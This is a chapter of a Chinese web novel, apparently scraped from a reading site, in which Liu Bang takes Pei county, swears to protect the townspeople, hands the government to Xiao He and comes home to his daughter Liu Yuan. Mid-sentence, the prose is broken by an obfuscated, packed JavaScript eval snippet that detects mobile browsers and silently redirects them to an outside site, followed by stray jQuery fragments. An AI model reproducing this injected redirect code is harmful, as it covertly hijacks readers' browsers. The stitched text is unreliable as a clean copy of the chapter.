18.秦失其鹿(三)
作品:《[大汉]女儿就不能继承皇位吗?》 刘季脸上的错愕只维持了一瞬,随即化为毫不掩饰的狂喜和得意!他猛地一挥手中的赤霄剑,纵声长笑。
一干兄弟早已按捺不住,欢呼一声就要往里冲。
“都给我站住!”刘邦却厉声喝道,声音洪亮,瞬间压住了所有的躁动。
他勒住瘦马,目光如电,扫过自己那群跃跃欲试,眼冒绿光的部下,又缓缓移向城门内那些惊疑不定,充满恐惧的百姓面孔。
他翻身下马,将赤霄剑“锵”地一声归入鞘中,这个动作让双方紧张的人都稍稍松了口气。
他没有立刻去接萧何、曹参的话,而是大步走到城门洞下,先是拍了拍萧、曹二人的肩膀,一切尽在不言中。
随即,他面向城内聚集起来的,瑟瑟发抖的父老乡亲,脸上那副痞气收敛得干干净净,取而代之的是沉凝与诚恳。
他清了清嗓子,用他那口地道的沛县土话,声音传得老远:
“父老乡亲们!沛县的弟兄们!我刘季回来了!”
人群一阵细微的骚动,无数道目光聚焦在他身上,有期待,有恐惧,更有茫然。
“大家莫怕!”刘邦双手虚按,语气放缓,“我刘季今天带着兄弟们回来,不是来烧杀抢掠的,不是来祸害咱自家乡亲的!咱们刀口对着的,是那逼得咱们活不下去的暴秦,是那些不把咱们当人看的狗官!现在,这最大的祸害已经除了!”
“咱们沛县人,不能自己人打自己人!我刘季在此立誓,今日进城,秋毫无犯!谁敢抢乡亲们一粒粮食,我刘季第一个砍了他的脑袋,祭奠咱沛县的黄土!”
他这话说得斩钉截铁,目光狠狠瞪向自己身后那群莽汉。
跟着他的那群人立刻挺胸抬头,纷纷吼道:“听大哥的!” “绝不扰民!”
这番保证,让城内百姓脸上的恐惧之色消退了大半。
紧接着,刘季语气一转,带上了悲愤与鼓动:“老秦的法令,像刀子一样架在咱们脖子上!徭役繁重,赋税如虎,多少人家破人亡?咱们种地吃不饱饭,做工养不活家!这样的日子,还能过吗?”
“不能!”城门口他带来的子弟兵齐声怒吼,声音震天。这情绪也感染了城内的民众,不少人下意识地跟着摇头。
“对!不能!”刘邦接过话头,声音更加高昂,“天下苦秦久矣!陈胜王已经在大泽乡站了起来,项梁将军的楚军也势如破竹!咱们沛县的好儿郎,难道就甘心永远当牛做马,等着被榨干最后一滴血吗?”
“今天,我刘季不才,蒙兄弟们看得起,萧功曹、曹狱掾信得过,要为大家挣一条活路!咱们不要再去服那送死的徭役,不再交那要命的赋税!这沛县,以后就是咱们沛县人的沛县!咱们自己说了算!”
“好!”
“大哥说得对!”
这下,不仅是城外的队伍,城内的许多青壮、甚至一些老人也都激动起来,纷纷响应。压抑太久的怨气,找到了宣泄的出口。
刘邦满意地看着群情激涌的百姓,知道火候已到。
他转身对过来的萧何、曹参低语几句,二人点头,立即吩咐手下维持秩序。
正当刘邦准备迈步进城时,一位须发皆白的老者拄着拐杖,在几个年轻人的搀扶下颤巍巍走上前来。
刘邦认得这是沛县最年长的乡老,德高望重。
“刘季啊,”老者声音嘶哑却清晰,“你说沛县是沛县人的沛县,老朽想问,进城之后,你欲如何?”
城内外顿时安静下来,所有人的目光都聚焦在刘邦身上。
刘邦目光扫过众人,朗声道:“三老问得好!我刘季今日就当众立下三条规矩:第一,决不能烧杀抢掠,犯一点事;第二,废除秦朝苛捐杂税与徭役,待局势稳定后再议薄赋;第三,”
他顿了顿,声音更加洪亮,“三日后在县衙前共商大计,推举贤能之人主事沛县!”
此言一出,满城哗然。就连萧何、曹参都面露讶色,他们原以为刘邦会自立为主。
老者浑浊的眼中含泪,缓缓点头:“好!好!刘季有此胸襟,老朽代沛县父老谢过了!”
说着便要躬身行礼。
刘季急忙上前扶住:“三老折煞我了!季虽是粗人,也知道理,今日之事,非为我一人之私利,实为沛县万千生灵请命!”
这话说得漂亮,人群中爆发出更热烈的欢呼。
刘邦顺势挽着老者的手臂,在众人的簇拥下步入城门。
一进城,刘邦立即分派任务,曹参带人清理县衙,安抚旧吏,萧何清点府库账册,樊哙维持城内秩序,周勃布置城防,卢绾安抚士卒家属。
各项安排井井有条,显是早有谋划。
是夜,县衙内灯火通明。刘邦召集众兄弟议事,却独独不见萧何。
正疑惑间,只见萧何抱着厚厚一摞竹简匆匆而来。
“沛公,萧何来迟,还请恕罪。”萧何对他变得异常客气,将竹简放在案上,“这些都是沛县的户籍、田亩、粮储册籍,须尽快清点明白。”
刘季大笑:“好你个萧何,果然是我的萧何!”
他起身走到案前,随手翻开一册,“这些册子你看便是,我只问一句,县仓粮食,可够百姓度过今冬?”
萧何眼中是赞许之色:“粗略估算,若合理分配,不仅可度今冬,甚至能支撑到来年夏收。”
“好!”刘邦击掌,“明日就开始分粮!先从最穷苦的人家分起,你拟个章程出来。”
邙山跟着他的人在一旁嘟囔:“大哥,弟兄们跟着你拼命,不该先犒劳犒劳吗?”
刘季瞪了他一眼:“放屁!百姓饿着肚子,咱们大吃大喝,与那秦狗何异?”
他环视众人,沉声道:“记住,咱们不是来当官的,是来救民的。谁要是忘了本,别怪我刘季不讲情面!”
众人凛然称是。
第二天的县衙前,人山人海。乡老、士绅、百姓代表齐聚一堂。
让所有人意外的是,刘季当众推举萧何主持沛县事务。
萧何连忙推辞:“刘公,此举不妥。您众望所归,理应由您...”
刘季摆手打断:“我刘季有几斤几两自己清楚。打架我在行,治理地方非我所长。萧君熟悉沛县事务,深得民心,是最合适的人选。”
他顿了顿,笑道:“至于我嘛,就带着兄弟们守好沛县大门,不让秦军踏进一步!”
这番表态让原本还有些忐忑的乡绅们彻底安心。
最终,萧何被推举主政,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432982|184870||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曹参辅之,刘季则统管军事。
沛县易主的喧嚣与忙碌稍稍平息后,刘季终于抽出身,在一众弟兄的簇拥下,朝着自家那处熟悉的院落走去。
一路上,不断有胆大的孩童从门缝里偷看这位如今已是沛县的传奇人物,更有许多老人和妇人对着他指指点点,眼神复杂,既有敬畏,也有几分看浪荡子终于出息的感慨。
院门虚掩着,显然里面的人早已听到了外面的动静。
刘邦深吸一口气,近乡情怯,夹杂着些许愧疚和更多的期盼。
他伸手,推开了那扇吱呀作响的木门。
院子里,吕雉正背对着门口,在晾晒衣物,刘交手足无措地站在一旁,脸上又是激动又是紧张。
刘盈则躲在刘交身后,抱着小叔的腿,怯生生地露出半张脸,好奇地打量着门口这一大群陌生又凶悍的人。
最先反应过来的却是刘元。
她正无聊蹲在墙角看蚂蚁搬家,门开的声响让她抬起头。
当看清那个大步走进来,虽然满面风霜却笑容灿烂的男人时,她那双酷似刘邦的明亮眼睛瞬间瞪得溜圆!
短暂的愣怔之后,巨大的、纯粹的喜悦如同烟花般在她小小的胸膛里炸开。
“阿父!!!”
刘元像只被惊起的小雀儿,猛地从地上弹起来,甚至顾不上拍掉裙子上的尘土,迈开两条小短腿,跌跌撞撞地,用尽全力地朝着刘邦飞奔过去!
刘邦闻声低头,就看到女儿像只鸟儿似的直冲自己而来,那张粉嫩的小脸上洋溢着毫无保留的璀璨笑容,眼睛里仿佛盛满了星星。
这一刻,什么乱世豪雄的抱负,统统被抛到了九霄云外。
刘邦的心一下子软得一塌糊涂,所有征战杀伐带来的戾气瞬间消散无踪。
他哈哈大笑,声音里充满了真正的、毫不作伪的开怀,猛地弯下腰,张开双臂,一把就将飞扑过来的女儿结结实实地捞进了怀里,顺势高高举了起来!
“哎呦!元!想死阿父了!”
“阿父!阿父!你真的回来了!元好想你!”刘元紧紧搂住父亲的脖子,声音闷闷的,带着点委屈。
父女俩这般毫无隔阂的亲昵互动,让院子里原本有些凝滞的气氛瞬间融化。
吕雉看着丈夫和女儿,也很欣慰,忙招呼樊哙他们进屋。刘交松了口气,赶紧把还在发懵的刘盈抱起来,小声说:“盈儿看,阿父回来了。”
刘盈此时四岁,他眨眨眼,他与阿父不太熟,不太敢上去。
刘邦抱着女儿,掂了掂分量,“元瘦了!也高了!”
刘元用力点头,“嗯!元八岁了!”
“元长大了。”他抱着女儿走向吕雉,脸上的笑容收敛了些,带着歉意,“娥姁,我回来了。这些日子,辛苦你了。”
吕雉看着他,目光在他明显黑瘦了许多的脸上停留片刻,眼中有泪光,“回来就好,一家人客气什么?”
千言万语,都在不言中。
他把刘元放下来,又抱起了刘盈,“盈也长大了。”
院子里,阳光正好,暂时驱散了乱世的阴云,将一家人团聚的温馨画面勾勒得格外清晰。
樊哙、卢绾等人见状,也识趣地走了,明早再来。